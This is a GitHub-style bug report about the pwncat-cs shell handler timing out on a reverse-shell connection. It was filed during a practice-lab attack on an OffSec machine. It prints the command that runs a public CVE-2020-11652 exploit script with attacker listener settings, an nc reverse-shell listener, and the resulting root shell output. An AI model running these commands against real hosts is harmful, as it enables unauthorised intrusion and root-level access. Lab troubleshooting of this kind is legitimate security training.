pwncat receive shell, but connection timeout. and nc can create connection

[Facker007]

Bug Description

A clear and concise description of what the bug is.

pwncat version

$ pwncat-cs --version
0.5.4

Target System (aka "victim")

offsec providing group Twiggy machine.

Steps to Reproduce

https://github.com/Al1ex/CVE-2020-11652
1、use python CVE-2020-11652.py -m 192.168.125.62 -p 4506 -lh 192.168.45.156 -lp 80 --exec-choose master
2、

pwncat-cs -lp 80  
/root/.pyenv/versions/3.9.20/lib/python3.9/site-packages/zodburi/__init__.py:2: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import iter_entry_points
[11:42:40] Welcome to pwncat 🐈!                                            __main__.py:164
[11:44:32] received connection from 127.0.0.1:34406                              bind.py:84


[11:45:02] connection failed: channel receive timed out: b'bash: no job      manager.py:957
           control in this shell\n# '                                                      
(local) pwncat$
3、
root@kali:/home/a13nil/Desktop/vpn # nc -lvnp 80
listening on [any] 80 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 60222
bash: no job control in this shell
[root@twiggy root]# ls
ls
proof.txt

I don't know if my ligolo proxy will affect the result

Expected Behavior

A clear and concise description of what you expected to happen.

Screenshots

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